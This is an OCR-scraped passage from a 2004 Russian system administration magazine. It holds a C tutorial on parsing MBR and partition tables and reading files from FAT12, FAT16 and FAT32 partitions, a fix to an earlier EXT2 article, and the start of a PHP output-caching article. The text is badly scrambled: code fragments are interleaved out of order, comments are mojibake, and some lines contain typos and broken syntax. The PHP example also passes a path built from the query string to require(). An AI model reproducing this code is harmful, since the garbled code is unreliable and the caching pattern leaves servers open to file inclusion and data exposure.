Считываем из FAT16 номер следующего кластера, занятого под данный файл. Если это последний кластер – прерываем цикл и возвращаемся в главную функцию: next_cluster = fat16[start_cluster]; #ifdef DEBUG printf("OK. Readed\n"); printf("file`s next cluster - 0x%X .. ", next_cluster); #endif if(next_cluster == EOF_FAT16) { #ifdef DEBUG printf("last cluster.\n"); #endif
}
free(tmp_buff); close(n); return ++i;
47
администрирование }
start_cluster = next_cluster;
#ifdef DEBUG printf("stop reading\n"); #endif return i; } } }
int read_directory(__u16 start_cluster) { int i = 1; __u16 next_cluster; for(; ;i++) {
Выделяем память для хранения содержимого каталога, считываем содержимое стартового кластера и получаем из таблицы FAT16 значение очередного кластера:
Чтение загрузочного сектора FAT16 выполняет функция read_fbs(). Результат помещается в глобальную структуру fbs: int read_fbs() { if(read(hard,(__u8 *)&fbs, sizeof(fbs)) < 0) return -1; return 0; }
Чтение таблицы размещения файлов файловой системы FAT16 выполняет функция read_fat16(): int read_fat16() { // ñìåùåíèå ê FAT16 îò íà÷àëà ðàçäåëà __u64 seek = (__u64)(fbs.reserved) * 512; fat16 = (void *)malloc(fat16_size); if(pread64(hard, (__u8 *)fat16, fat16_size, ↵ seek) < 0) return -1; return 0; }
dir_entry = (__u8 *)realloc(dir_entry, i * byte_per_cluster); if(!dir_entry) return -1; if(read_cluster(start_cluster, (dir_entry + (i - 1) * ↵ byte_per_cluster)) < 0) return -1; next_cluster = fat16[start_cluster];
Сохраним содержимое каталога в отдельном файле (для контроля): #ifdef DEBUG printf("Next cluster - 0x%X\n", next_cluster); fat = open("dir16", O_CREAT|O_WRONLY, 0600); write(fat, dir_entry, root_size); close(fat); #endif
Если достигнут последний кластер, выходим из цикла, иначе продолжаем чтение каталога, увеличив размер буфера dir_entry ещё на один кластер:
Чтение корневого каталога выполняет функция read_root_dentry(): int read_root_dentry() { // ñìåùåíèå ê êîðíåâîìó êàòàëîãó îò íà÷àëà ðàçäåëà __u64 seek = (__u64)fbs.reserved * 512 + fat16_size * fbs.fats; // âû÷èñëÿåì ðàçìåð êîðíåâîãî êàòàëîãà root_size = 32 * dir_entries; dir_entry = (__u8 *)malloc(root_size); if(!dir_entry) return -1; memset(dir_entry, 0, root_size); if(pread64(hard, dir_entry, root_size, seek) < 0) return -1; return 0; }
Чтение кластера, принадлежащего файлу, выполняет функция read_cluster(). Входные параметры функции – номер кластера cluster_num и указатель на буфер __u8 *tmp_buff, куда нужно поместить результат чтения. Смещение к кластеру на разделе вычисляется по формуле (см. [1]): SEEK = DATA_START + (CLUSTER_NUM - 2) * BYTE_PER_CLUSTER, ãäå
SEEK – ñìåùåíèå ê êëàñòåðó íà ðàçäåëå; DATA_START – íà÷àëî îáëàñòè äàííûõ; CLUSTER_NUM – ïîðÿäêîâûé íîìåð êëàñòåðà; BYTE_PER_CLUSTER – ðàçìåð êëàñòåðà â áàéòàõ.
int read_cluster(__u16 cluster_num, __u8 *tmp_buff) { // âû÷èñëÿåì ñìåùåíèå ê êëàñòåðó __u64 seek = (__u64)(byte_per_cluster) * ↵ (cluster_num - 2) + data_start;
}
}
} return 0;
Поиск в содержимом каталога элемента, соответствующего искомому файлу, выполняет функция get_dentry(). Входные параметры этой функции – указатель на структуру struct split_name *sn, содержащую элементы короткого имени файла: int get_dentry(struct split_name *sn) { int i = 0;
В глобальном буфере dir_entry находится массив элементов каталога, в котором мы собираемся искать запись файла (или каталога). Для поиска организуем цикл. В теле цикла производим копирование элементов каталога в глобальную структуру dentry и сравниваем значение полей name и ext этой структуры с соответствующими полями структуры struct split_name *sn. Совпадение этих полей означает, что мы нашли в массиве элементов каталога запись искомого файла: for(; ; i++) { memcpy((void *)&dentry, dir_entry + i * sizeof(dentry), ↵ sizeof(dentry));
if(pread64(hard, tmp_buff, byte_per_cluster, ↵ seek) < 0) return -1; return 0;
Функция read_directory выполняет чтение записей каталога (не корневого) и помещает результат в область памяти, на которую настроен указатель dir_entry:
48
if(next_cluster & EOF_FAT16) break; start_cluster = next_cluster;
if(!(memcmp(dentry.name, sn->name, sn->name_len)) && ↵ !(memcmp(dentry.ext, sn->ext, n->ext_len))) break; }
if(!dentry.name[0]) return -1;
#ifdef DEBUG printf("name - %s\n", dentry.name); printf("start cluster - 0x%X\n", dentry.start);
администрирование printf("file size - %u\n", dentry.size); printf("file attrib - 0x%X\n", dentry.attr); #endif }
" jnc 1f \n\t" " shrw $4, %%dx \n\t" " jmp 2f \n\t" "1: andw $0x0FFF, %%dx \n\t" "2: movw %%dx, %%ax \n\t" :"=a" (next) :"d" (clust), "c" (cluster_num));
return 0;
Весь вышеприведенный код находится в каталоге FAT16, файл fat16.c. Для получения исполняемого модуля создадим Makefile следующего содержания: INCDIR = /usr/src/linux/include .PHONY = clean fat16: fat16.o split.o gcc -I$(INCDIR) $^ -g -o $@ %.o: %.c gcc -I$(INCDIR) -DDEBUG -c $^ clean: rm -f *.o rm -f ./fat16
Программная реализация алгоритма чтения файла с логического раздела с файловой системой FAT12 В целом алгоритм чтения файла с раздела FAT12 идентичен алгоритму чтения файла с раздела FAT16. Отличие заключается в процедуре чтения элементов из таблицы FAT12. Таблица FAT16 рассматривалась нами как простой массив 16-разрядных элементов. Для чтения элементов таблицы FAT12 в [1] предложен следующий алгоритм: ! умножить номер элемента на 1.5; ! извлечь из FAT 16-разрядное слово, используя в качестве смещения результат предыдущей операции; ! если номер элемента четный, выполнить операцию AND над считанным словом и маской 0x0FFF. Если номер нечетный, сдвинуть считанное из таблицы слово на 4 бита в сторону младших разрядов. Базируясь на этом алгоритме, реализуем функцию чтения элементов из таблицы FAT12: int get_cluster(__u16 cluster_num) { __u16 seek; __u16 clust;
Вычисляем смещение в таблице FAT12 и считываем из таблицы 16-разрядное слово: seek = (cluster_num * 3) / 2; memcpy((__u8 *)&clust, (__u8 *)(fat12 + seek), 2);
Если стартовый номер кластера – четное число, сдвигаем считанное из таблицы значение на 4 бита в сторону младших разрядов, если нечетное – суммируем его с 0x0FFF: if(cluster_num % 2) clust >>= 4; else clust &= 0x0FFF;
Этот фрагмент можно также реализовать на ассемблере: asm( " "
xorw %%ax, %%ax \n\t" btw $0, %%cx \n\t"
№2(15), февраль 2004
Возвращаем результат: }
return clust;
Остановимся чуть подробнее на самом алгоритме. Предположим, что на разделе с FAT12 создан файл, который занимает 9-й и 10-й кластеры. Каждый элемент FAT12 занимает 12 бит. Т.к. из таблицы мы считываем 16-разрядные элементы, то смещение к 9-му элементу будет равно 13 байт (9 ∗ 1.5 = 13, остаток отбрасываем), при этом младшие 4 разряда будут принадлежать 8-му элементу FAT. Их необходимо отбросить, а для этого достаточно сдвинуть считанный элемент на 4 бита в сторону младших разрядов, что и предусмотрено алгоритмом. Смещение к 10-му элементу будет равно 15 байт, и старшие 4 бита будут принадлежать 11-му элементу FAT. Чтобы их отбросить, необходимо выполнить операцию AND над 10-м элементом и маской 0x0FFF, что так же соответствует вышеприведенному алгоритму. Исходные тексты модуля чтения файла с раздела FAT12 находятся в каталоге FAT12, файл fat12.c.
Программная реализация алгоритма чтения файла с логического раздела с файловой системой FAT32 Алгоритм чтения файла с раздела с файловой системой FAT32 практически не отличается от алгоритма для FAT16, за исключением того, что в FAT32 корневой каталог может располагаться в любом месте раздела и иметь произвольный размер. Поэтому, чтобы было интереснее, усложним задачу – предположим, что нам известен только номер раздела с файловой системой FAT32. Чтобы считать с этого раздела информацию, необходимо вначале определить его координаты – смещение к разделу от начала диска. А для этого надо иметь представление о логической структуре жесткого диска.
Логическая структура жесткого диска Рассмотрим логическую структуру жесткого диска, соответствующую стандарту Microsoft – «основной раздел – расширенный раздел – разделы non-DOS». Пространство на жестком диске может быть организовано в виде одного или нескольких разделов, а разделы могут содержать один или несколько логических дисков. На жестком диске по физическому адресу 0-0-1 располагается главная загрузочная запись (Master Boot Record, MBR). В структуре MBR находятся следующие элементы: ! внесистемный загрузчик (non-system bootstrap – NSB); ! таблица описания разделов диска (таблица разделов, partition table, PT). Располагается в MBR по смещению 0x1BE и занимает 64 байта; ! сигнатура MBR. Последние два байта MBR должны содержать число 0xAA55.
49
администрирование Таблица разделов описывает размещение и характеристики имеющихся на винчестере разделов. Разделы диска могут быть двух типов – primary (первичный, основной) и extended (расширенный). Максимальное число primary-разделов равно четырем. Наличие на диске хотя бы одного primary-раздела является обязательным. Extended-раздел может быть разделен на большое количество подразделов – логических дисков. Упрощенно структура MBR представлена в таблице 7. Таблица разделов располагается в конце MBR, для описания раздела в таблице отводится 16 байт. Òàáëèöà 7. Ñòðóêòóðà MBR
Структура записи элемента таблицы разделов показана в таблице 8. Òàáëèöà 8. Ñòðóêòóðà çàïèñè ýëåìåíòà òàáëèöû ðàçäåëîâ
};
// êîîðäèíàòû íà÷àëà ðàçäåëà u8 start_part[3]; // ñèñòåìíûé èäåíòèôèêàòîð u8 type_part; // êîîðäèíàòû êîíöà ðàçäåëà u8 end_part[3]; // ÷èñëî ñåêòîðîâ ïåðåä ðàçäåëîì u32 sect_before; // ðàçìåð ðàçäåëà â ñåêòîðàõ (÷èñëî ñåêòîðîâ // â ðàçäåëå) u32 sect_total;
Элемент первичного раздела указывает сразу на загрузочный сектор логического диска (в первичном разделе всегда имеется только один логический диск), а элемент расширенного раздела – на список логических дисков, составленный из структур, которые именуются вторичными MBR (Secondary MBR, SMBR). Свой блок SMBR имеется у каждого диска расширенного раздела. SMBR имеет структуру, аналогичную MBR, но загрузочная запись у него отсутствует (заполнена нулями), а из четырех полей описателей разделов используются только два. Первый элемент раздела при этом указывает на логический диск, второй элемент указывает на следующую структуру SMBR в списке. Последний SMBR списка содержит во втором элементе нулевой код раздела. Вернемся к рассмотрению модуля чтения файла с раздела FAT32. Заголовочные файлы: #include #include #include #include #include
<stdio.h> <unistd.h> <fcntl.h> <errno.h> <linux/msdos_fs.h>
Сигнатура MBR: Первым байтом в элементе раздела идет флаг активности раздела (0 – неактивен, 0x80 – активен). Он служит для определения, является ли раздел системным загрузочным и есть ли необходимость производить загрузку операционной системы с него при старте компьютера. Активным может быть только один раздел. За флагом активности раздела следуют координаты начала раздела – три байта, означающие номер головки, номер сектора и номер цилиндра. Номера цилиндра и сектора задаются в формате прерывания Int 0x13, т.е. биты 0-5 содержат номер сектора, биты 6-7 – старшие два бита 10-разрядного номера цилиндра, биты 8-15 – младшие восемь бит номера цилиндра. Затем следует кодовый идентификатор System ID, указывающий на принадлежность данного раздела к той или иной операционной системе. Идентификатор занимает один байт. За системным идентификатором расположены координаты конца раздела – три байта, содержащие номера головки, сектора и цилиндра соответственно. Следующие четыре байта – это число секторов перед разделом, и последние четыре байта – размер раздела в секторах. Таким образом, элемент таблицы раздела можно описать при помощи следующей структуры: struct pt_struct { // ôëàã àêòèâíîñòè ðàçäåëà u8 bootable;
50
#define SIGNATURE 0xAA55
Файл устройства, с которого будет считываться информация о разделах: #define DEVICE "/dev/hda"
Размер элемента таблицы разделов (16 байт): #define PT_SIZE 0x10
Следующий массив структур устанавливает соответствие между кодом типа раздела и его символьным отображением: struct systypes { __u8 part_type; __u8 *part_name; }; struct systypes i386_sys_types[] = { {0x00, "Empty"}, {0x01, "FAT12"}, {0x04, "FAT16 <32M"}, {0x05, "Extended"}, {0x06, "FAT16"}, {0x0b, "Win95 FAT32"}, {0x0c, "Win95 FAT32 (LBA)"}, {0x0e, "Win95 FAT16 (LBA)"}, {0x0f, "Win95 Ext'd (LBA)"}, {0x82, "Linux swap"}, {0x83, "Linux"},
администрирование if(get_pt_info(hard) < 0) { perror("get_pt_info"); exit(-1); }
{0x85, "Linux extended"}, {0x07, "HPFS/NTFS"}
};
Определим число элементов в массиве i386_sys_types при помощи макроса PART_NUM:
show_pt_info();
Вычисляем стартовое смещение к разделу: #define PART_NUM (sizeof(i386_sys_types) / sizeof(i386_sys_types[0])) start_seek = (__u64)(pt_t[FAT32_PART_NUM - ↵ 1].sect_before) * 512;
Установим ограничение на количество логических дисков:
Считываем кластеры, принадлежащие файлу: #define MAX_PART 20 num = fat32_read_file(full_path, cluster_num); if(num < 0) perror("fat32_read_file"); else printf("Read %d clusters\n", num);
Следующий массив структуры будет содержать информацию о логических дисках на устройстве (жестком диске): struct pt_struct { __u8 bootable; __u8 start_part[3]; __u8 type_part; __u8 end_part[3]; __u32 sect_before; __u32 sect_total; } pt_t[MAX_PART]; int hard; __u8 mbr[512];
}
Информацию о таблице разделов считывает функция get_pt_info():
// äåñêðèïòîð ôàéëà óñòðîéñòâà // ñþäà ñ÷èòàåì MBR
Номер раздела, на котором создана файловая система FAT32: #define FAT32_PART_NUM
close(hard); return 0;
int get_pt_info(int hard) { int i = 0; __u64 seek;
Считываем таблицу разделов из MBR и проверяем сигнатуру:
5 read_main_ptable(hard);
Структуры загрузочного сектора, сектора FSInfo и элемента каталога (определены в файле <linux/msdos>): struct fat_boot_sector fbs; struct fat_boot_fsinfo fsinfo; struct msdos_dir_entry dentry; __u32 *fat32 = NULL; // ñþäà êîïèðóåì òàáëèöó FAT32 __u16 sector_size; // ðàçìåð ñåêòîðà (èç FAT32) __u16 dir_entries; // 0 äëÿ FAT32 __u16 sectors; // ÷èñëî ñåêòîðîâ íà ðàçäåëå __u32 fat32_size; // ðàçìåð FAT32 __u32 data_start; // íà÷àëî îáëàñòè äàííûõ __u16 byte_per_cluster; // ñêîëüêî áàéò â êëàñòåðå // (ðàçìåð êëàñòåðà â áàéòàõ) __u32 next_cluster; // î÷åðåäíîé êëàñòåð â öåïî÷êå __u32 root_cluster; // ROOT cluster – íà÷àëüíûé êëàñòåð // êîðíåâîãî êàòàëîãà __u8 *dir_entry = NULL; // óêàçàòåëü íà çàïèñè êàòàëîãà __u64 start_seek = 0; // ñòàðòîâîå ñìåùåíèå ê ðàçäåëó // (â áàéòàõ)
Главная функция:
if(check_sign() < 0) { printf("Not valid signature!\n"); return -1; }
Ищем идентификатор расширенного раздела. Если таковой имеется, вычисляем смещение к расширенному разделу и считываем информацию о логических дисках:
}
for(; i < 4; i++) { if((pt_t[i].type_part == 0xF) || ↵ (pt_t[i].type_part == 0x5) || ↵ (pt_t[i].type_part == 0x0C)) { seek = (__u64)pt_t[i].sect_before * 512; read_ext_ptable(hard, seek); break; } } return 0;
Функция чтения таблицы разделов read_main_ptable(): int main() { int num = 0; // ñêîëüêî êëàñòåðîâ ñ÷èòûâàòü èç ôàéëà int cluster_num = 5; // ôàéë äëÿ ñ÷èòûâàíèÿ __u8 *full_path = "/Folder1/Folder2/readme";
Открываем устройство, получаем информацию о таблице разделов на устройстве и отображаем информацию о разделах:
void read_main_ptable(int hard) { if(read(hard, mbr, 512) < 0) { perror("read"); close(hard); exit(-1); } memset((void *)pt_t, 0, (PT_SIZE * 4)); memcpy((void *)pt_t, mbr + 0x1BE, (PT_SIZE * 4)); return; }
Функция проверки сигнатуры check_sign(): hard = open(DEV_NAME, O_RDONLY); if(hard < 0) { perror(DEV_NAME); exit(-1); }
№2(15), февраль 2004
int check_sign() { __u16 sign = 0; memcpy((void *)&sign, (void *)(mbr + 0x1FE), 2);
51
администрирование #ifdef DEBUG printf("Signature - 0x%X\n", sign); #endif
}
if(!pt_t[i].type_part) break; printf("\nÒèï ðàçäåëà %d - ", i); for(n = 0; n < PART_NUM; n++) { if(pt_t[i].type_part == i386_sys_types[n].part_type) { printf("%s\n", i386_sys_types[n].part_name); break; }
if(sign != SIGNATURE) return -1; return 0;
} if(n == PART_NUM) printf("unknown type\n");
Функция чтения расширенной таблицы разделов:
printf("Ïðèçíàê çàãðóçêè - 0x%X\n", pt_t[i].bootable); printf("Ñåêòîðîâ â ðàçäåëå %d - %d\n", i, ↵ pt_t[i].sect_total); printf("Ñåêòîðîâ ïåðåä ðàçäåëîì %d - %d\n\n", i, ↵ pt_t[i].sect_before);
void read_ext_ptable(int hard, __u64 seek) { // íà÷èíàÿ ñ ýòîé ïîçèöèè, ìàññèâ ñòðóêòóð pt_t áóäåò // çàïîëíÿòüñÿ èíôîðìàöèåé î ëîãè÷åñêèõ äèñêàõ int num = 4; __u8 smbr[512]; }
! !
Входные данные: hard – дескриптор файла устройства; seek – смещение к расширенному разделу от начала диска (в байтах).
Для получения информации о логических дисках организуем цикл: for(;;num++) {
Считываем SMBR, находящуюся по смещению seek от начала диска: memset((void *)smbr, 0, 512); pread64(hard, smbr, 512, seek);
Заполняем два элемента таблицы pt_t, начиная с позиции num. Первый элемент будет указывать на логический диск, а второй – на следующую структуру SMBR: memset((void *)&pt_t[num], 0, PT_SIZE * 2); memcpy((void *)&pt_t[num], smbr + 0x1BE, PT_SIZE * 2);
Вносим поправку в поле «Номер начального сектора» – отсчет ведется от начала диска: pt_t[num].sect_before += (seek / 512);
Если код типа раздела равен нулю, то больше логических дисков нет:
} return;
Чтение кластеров файла с раздела FAT32 выполняет функция fat32_read_file(). Эта функция имеет много общего с функцией fat16_read_file(), поэтому за подробными комментариями обратитесь к п. 6: int fat32_read_file(__u8 *full_path, int num) { struct split_name sn; __u8 tmp_name_buff[SHORT_NAME]; int i = 1, n; __u32 start_cluster, next_cluster; __u8 *tmp_buff;
Подготовительные операции – чистим буфер, структуру и проверяем первый слэш: memset(tmp_name_buff, 0, SHORT_NAME); memset((void *)&sn, 0, sizeof(struct split_name)); if(full_path[0] != '/') return -1
Считываем загрузочный сектор: if(read_fbs() < 0) return -1; memcpy((void *)&sector_size, (void *)fbs.sector_size, 2); memcpy((void *)&dir_entries, (void *)fbs.dir_entries, 2); memcpy((void *)&sectors, (void *)fbs.sectors, 2);
Считываем структуру FSInfo и отобразим сигнатуру, находящуюся в ней: if(read_fs_info() < 0) return -1;
if(!(pt_t[num + 1].type_part)) break;
Вычисляем смещение к следующему SMBR: seek = ((__u64)(pt_t[num].sect_before + ↵ pt_t[num].sect_total)) * 512;
}
} return;
Функция show_pt_info() отображает информацию о найденных логических дисках на устройстве:
printf("Signature1 - 0x%X\n", fsinfo.signature1); printf("Signature2 - 0x%X\n", fsinfo.signature2); // ðàçìåð FAT32 â áàéòàõ fat32_size = fbs.fat32_length * 512; // íà÷àëî ïîëÿ äàííûõ data_start = 512 * fbs.reserved + fat32_size * 2; // ðàçìåð êëàñòåðà â áàéòàõ byte_per_cluster = fbs.cluster_size * 512; // íîìåð êëàñòåðà êîðíåâîãî êàòàëîãà root_cluster = fbs.root_cluster;
Считываем FAT32: if(read_fat32() < 0) return -1;
void show_pt_info() { int i = 0, n; #ifdef DEBUG printf("×èñëî ðàçäåëîâ íà äèñêå - %d\n", PART_NUM); #endif for(; i < MAX_PART; i++) {
52
Выделяем память для записей каталога: dir_entry = (__u8 *)malloc(byte_per_cluster); if(!dir_entry) return -1;
Считываем корневой каталог:
администрирование if(read_directory(root_cluster) < 0) return -1;
2) функция read_fs_info() считывает структуру FSInfo: int read_fs_info() { __u64 seek = (__u64)fbs.info_sector * 512 + start_seek; if(pread64(hard, (__u8 *)&fsinfo, sizeof(fsinfo), ↵ seek) < 0) return -1;
Проводим разбор полного пути файла и разделение каждого элемента на составляющие: while(1) { memset(tmp_name_buff, 0, SHORT_NAME); memset((void *)&sn, 0, sizeof(struct split_name)); for(n = 0 ; n < SHORT_NAME; n++, i++) { tmp_name_buff[n] = full_path[i]; if((tmp_name_buff[n] == '/') || ↵ (tmp_name_buff[n] == '\0')) { i++; break; } } tmp_name_buff[n] = '\0'; if(split_name(tmp_name_buff, &sn) < 0) { printf("not valid name\n"); eturn -1; } if(get_dentry(&sn) < 0) { printf("No such file!\n"); return -1; }
Для получения стартового номера кластера в файловой системе FAT32 необходимо задействовать старшее слово номера первого кластера файла – поле starthi структуры dentry: start_cluster = (((__u32)dentry.starthi << 16) | ↵ dentry.start);
}
3) функция read_fat32() считывает таблицу FAT32: int read_fat32() { __u64 seek = (__u64)fbs.reserved * 512 + start_seek; fat32 = (void *)malloc(fat32_size); if(!fat32) return -1; if(pread64(hard, (__u8 *)fat32, fat32_size, ↵ seek) < 0) return -1; return 0; }
Функция read_cluster() выполняет чтения кластера с указанным номером: int read_cluster(__u32 cluster_num, __u8 *tmp_buff) { __u64 seek = (__u64)(byte_per_cluster) * ↵ (cluster_num - 2) + data_start + start_seek; if(pread64(hard, tmp_buff, byte_per_cluster, ↵ seek) < 0) return -1;
Проверяем байт атрибутов:
}
}
if(dentry.attr & 0x10) { // ýòî êàòàëîã if(read_directory(start_cluster) < 0) return -1; continue; } if(dentry.attr & 0x20) { // à ýòî - ôàéë tmp_buff = (__u8 *)malloc(byte_per_cluster); n = open("clust", O_CREAT|O_RDWR, 0600); if(n < 0) { perror("open"); return -1; } printf("file`s first cluster - 0x%X .. ", start_cluster); for(i = 0; i < num; i++) { memset(tmp_buff, 0, byte_per_cluster); if(read_cluster(start_cluster, tmp_buff) < 0) return -1; if(write(n, tmp_buff, byte_per_cluster) < 0) { perror("write"); return -1; } next_cluster = fat32[start_cluster]; if(next_cluster == EOF_FAT32) { free(tmp_buff); close(n); return ++i; } start_cluster = next_cluster; } return i; }
}
№2(15), февраль 2004
return 0;
Чтением каталогов (в том числе и корневого) занимается функция read_directory(): int read_directory(__u32 start_cluster) { int i = 2; __u32 next_cluster;
Параметры функции – стартовый кластер каталога. Считываем содержимое каталога в глобальный буфер dir_entry: if(read_cluster(start_cluster, dir_entry) < 0) return -1; next_cluster = fat32[start_cluster];
Если каталог занимает один кластер – выходим, если нет – увеличиваем размер памяти и продолжаем чтение: if((next_cluster == EOF_FAT32) || (next_cluster == ↵ 0xFFFFFF8)) return 0; for(; ;i++) { start_cluster = next_cluster; dir_entry = (__u8 *)realloc(dir_entry, i * byte_per_cluster); if(!dir_entry) return -1;
Назначение следующих трёх функций – получить содержимое системной области, т.е. загрузочного сектора, структуры FSInfo и таблицы FAT32: 1) функция read_fbs() выполняет чтение загрузочного сектора: int read_fbs() { if(pread64(hard, (__u8 *)&fbs, sizeof(fbs), ↵ start_seek) < 0) return -1; return 0; }
return 0;
if(read_cluster(start_cluster, (dir_entry + (i - 1) * ↵ byte_per_cluster)) < 0) return -1; next_cluster = fat32[start_cluster]; if((next_cluster == EOF_FAT32) || (next_cluster == ↵ 0xFFFFFF8)) return 0;
}
} return 0;
Последняя функция, которую мы рассмотрим, ищет в
53
администрирование содержимом каталога элемент, соответствующий искомому файлу: int get_dentry(struct split_name *sn) { int i = 0;
Указатель dir_entry настроен на область памяти, содержащую массив записей каталога, в котором мы собираемся искать файл (или каталог). Для поиска организуем цикл и найденную запись поместим в глобальную структуру dentry:
И в заключение – небольшая правка к статье «Архитектура файловой системы EXT2» ([3]). Эта правка касается функции определения номера inode по имени файла get_i_num(). Старый вариант этой функции выглядел так: int get_i_num(char *name) { int i = 0, rec_len = 0; struct ext2_dir_entry_2 dent; for(; i < 700; i++) { memcpy((void *)&dent, (buff + rec_len), sizeof(dent)); if(!memcmp(dent.name, name, dent.name_len)) break; rec_len += dent.rec_len; }
for(;;i++) { memcpy((void *)&dentry, dir_entry + i * sizeof(dentry), sizeof(dentry)); if(!(memcmp(dentry.name, sn->name, sn->name_len)) && ↵ !(memcmp(dentry.ext, sn->ext, sn->ext_len))) break;
}
if(!dentry.name[0]) return -1; } return 0;
На этом рассмотрение модуля чтения файла с раздела FAT32 завершим. Исходные тексты модуля находятся в каталоге FAT32, файл fat32.c.
Отличия в организации хранения записей о файлах в каталогах для файловых систем FAT и EXT2 Несколько слов об отличиях в организации хранения записей о файлах в каталогах для файловых систем FAT и EXT2. Структура файловой системы EXT2 была рассмотрена в [3]. C FAT мы только что ознакомились – в ней все элементы каталога имеют фиксированную величину. При создании файла драйвер файловой системы ищет первую незанятую позицию и заполняет её информацией о файле. Если длина каталога не умещается в одном кластере, то под него отводится ещё один кластер и т. д. Рассмотрим, как обстоят дела в EXT2. Предположим, у нас есть раздел с файловой системой EXT2, размер блока равен 4096 байт. На этом разделе мы создаем каталог. Размер каталога будет равен размеру блока – 4096 байт. В каталоге операционная система сразу создаёт две записи – запись текущего и запись родительского каталогов. Запись текущего каталога займет 12 байт, в то время как длина записи родительского будет равна 4084 байта. Создадим в этом каталоге какой-нибудь файл. После этого в каталоге будут присутствовать три записи – запись текущего каталога длиной 12 байт, запись родительского каталога длиной уже 12 байт, и запись созданного файла длиной, как вы наверно догадались, 4072 байт. Если мы удалим созданный файл, длина записи родительского каталога опять возрастёт до 4084 байт. Таким образом, при создании файла драйвер файловой системы EXT2 ищет в каталоге запись максимальной длины и расщепляет её, выделяя место для новой записи. Ну, а если всё-таки места не хватает, под каталог отводится ещё один блок, и длина каталога становится равной 8192 байт.
54
}
return dent.inode;
Исправленный вариант: int get_i_num(char *name) { /* Ïàðàìåòð ôóíêöèè – èìÿ ôàéëà. Âîçâðàùàåìîå çíà÷åíèå – * íîìåð inode ôàéëà. */ int rec_len = 0; // ýòà ñòðóêòóðà îïèñûâàåò ôîðìàò çàïèñè êîðíåâîãî êàòàëîãà: struct ext2_dir_entry_2 dent; /*  ãëîáàëüíîì áóôåðå buff íàõîäèòñÿ ìàññèâ çàïèñåé êàòàëîãà. * Äëÿ îïðåäåëåíèÿ ïîðÿäêîâîãî íîìåðà inode ôàéëà íåîáõîäèìî * íàéòè â ýòîì ìàññèâå çàïèñü ñ èìåíåì ýòîãî ôàéëà. * Äëÿ ýòîãî îðãàíèçóåì öèêë: */ for(;;) { /* Êîïèðóåì â ñòðóêòóðó dent çàïèñè êàòàëîãà: */ memcpy((void *)&dent, (buff + rec_len), sizeof(dent)); /* Äëèíà èìåíè ôàéëà, ðàâíàÿ íóëþ, îçíà÷àåò, ÷òî ìû * ïåðåáðàëè âñå çàïèñè êàòàëîãà è çàïèñè ñ èìåíåì * íàøåãî ôàéëà íå íàøëè. Çíà÷èò, ïîðà âîçâðàùàòüñÿ: */ if(!dent.name_len) return -1; /* Ïîèñê âûïîëíÿåòñÿ ïóòåì ñðàâíåíèÿ èìåí ôàéëîâ. * Åñëè èìåíà ñîâïàäàþò - âûõîäèì èç öèêëà: */ if(!memcmp(dent.name, name, strlen(name))) break; /* Åñëè èìåíà íå ñîâïàëè - ñìåùàåìñÿ ê ñëåäóþùåé çàïèñè: */ }
rec_len += dent.rec_len;
/*  ñëó÷àå óñïåõà âîçâðàùàåì íîìåð inode ôàéëà: */ }
return dent.inode;
Литература: 1. В.Кулаков. Программирование на аппаратном уровне: специальный справочник. 2-е изд. / – СПб.: Питер, 2003 г. – 848 с. 2. А.В.Гордеев, А.Ю.Молчанов. Системное программное обеспечение / – СПб.: Питер – 2002 г. 3. В.Мешков. «Архитектура файловой системы ext2», журнал «Системный администратор», № 11(12), ноябрь 2003 г. – 26-32 с.
web
КЭШИРОВАНИЕ ВЕБ-СЦЕНАРИЕВ
АНДРЕЙ УВАРОВ Часто при написании веб-сценариев мы забываем, что увеличение кода, использование БД и т. п. ведёт к увеличению времени выполнения сценария и увеличению нагрузки на сервер. Одним из решений данной проблемы является кэширование. Для ясности необходимо добавить, что речь не идёт о кэшировании на браузере или прокси-сервере. Суть довольно проста, и всё сводится к сохранению выводимой клиенту информации во временных файлах. При последующих запросах вместо выполнения оригиналь-
56
ного сценария будет просто выводиться содержимое этих файлов. Итак, перейдем непосредственно к описанию алгоритма: 1. Если данный запрос был кэширован и временный файл не устарел, то переход на 2, иначе переход на 3. 2. Вывод пользователю содержимого временного файла, переход на 8. 3. Перенаправление вывода в буфер (так называемая буферизация вывода).
web 4. 5. 6. 7. 8.
Тело сценария. Сохранение содержимого буфера во временный файл. Вывод содержимого буфера пользователю. Очистка буфера. Выход.
Данный алгоритм отображён в виде структурной схемы на рисунке:
?> <?
?> <? ?>
Кеширован и неустарел?
Нет
Да Вывод кэша пользователю
Включается буферизация вывода
// â êàòàëîãå ïðèìåðà íåîáõîäèìî ñîçäàòü ïîäêàòàëîã // tmp ñ ïðàâàìè «write by others» // â ýòîì êàòàëîãå áóäóò õðàíèòüñÿ âðåìåííûå ôàéëû $time2live= 10; // óñòàíàâëèâàåì âðåìÿ îáíîâëåíèÿ êýøà â 10 ñåêóíä globals $fname, $time2live; require('cashe_begin.inc.php');
echo "\n"; echo time(); echo "\n";
require("cashe_end.inc.php");
Приведённый пример является общим. Важным параметром является время, за которое наш кэш (временный файл) будет устаревать. При установке этого параметра необходимо знать, насколько часто будут обновляться данные по текущему запросу. Иначе возможна ситуация, когда пользователь будет получать интересующие его данные с запозданием, или, что хуже того, некоторые данные будут теряться. К примеру, время устаревания временного файла равно Т, а время обновления базы данных, из которой берётся информация, равно Т/2, таким образом, пользователь не увидит тех изменений, которые происходили за период времени от М до М+Т, где М – время, когда произошло обновление временного файла. Но в такую ситуацию попасть можно, наверное, только по большой невнимательности.
Тело сценария Вывод и кэширование Очистка буфера
Ðèñóíîê 1
Перейдём непосредственно к примеру. Íà÷àëî êýøèðîâàíèÿ. <? // cashe_begin.inc.php if(file_exists($fname) and ↵ (time()-filemtime($fname)) < $time2live){ require($fname); exit(); } ob_start(); ?> Êîíåö êýøèðîâàíèÿ. <? // cashe_end.inc.php $file= @fopen($fname, “w”); @fwrite($file, ob_get_contents()); ob_end_flush(); // âûâîä ñîäåðæèìîãî áóôåðà ïîëüçîâàòåëþ ob_end_clean(); // î÷èñòêà áóôåðà ?> Òåëî ñöåíàðèÿ. <? // test.php $fname= './tmp'.'/test.php'.getenv("QUERY_STRING");
№2(15), февраль 2004
Ðèñóíîê 2
Но есть у кэширования и недостатки, которые необходимо учитывать при его использовании. Пользователь может сконструировать запрос и получить напрямую любой из временных файлов, содержимое которых может быть не предназначено для посторонних. Также пользователь может переставлять переменные в запросе местами. Например, для запросов: http://nowhere.no/index.php?id1=a&id2=b http://nowhere.no/index.php?id2=b&id1=a
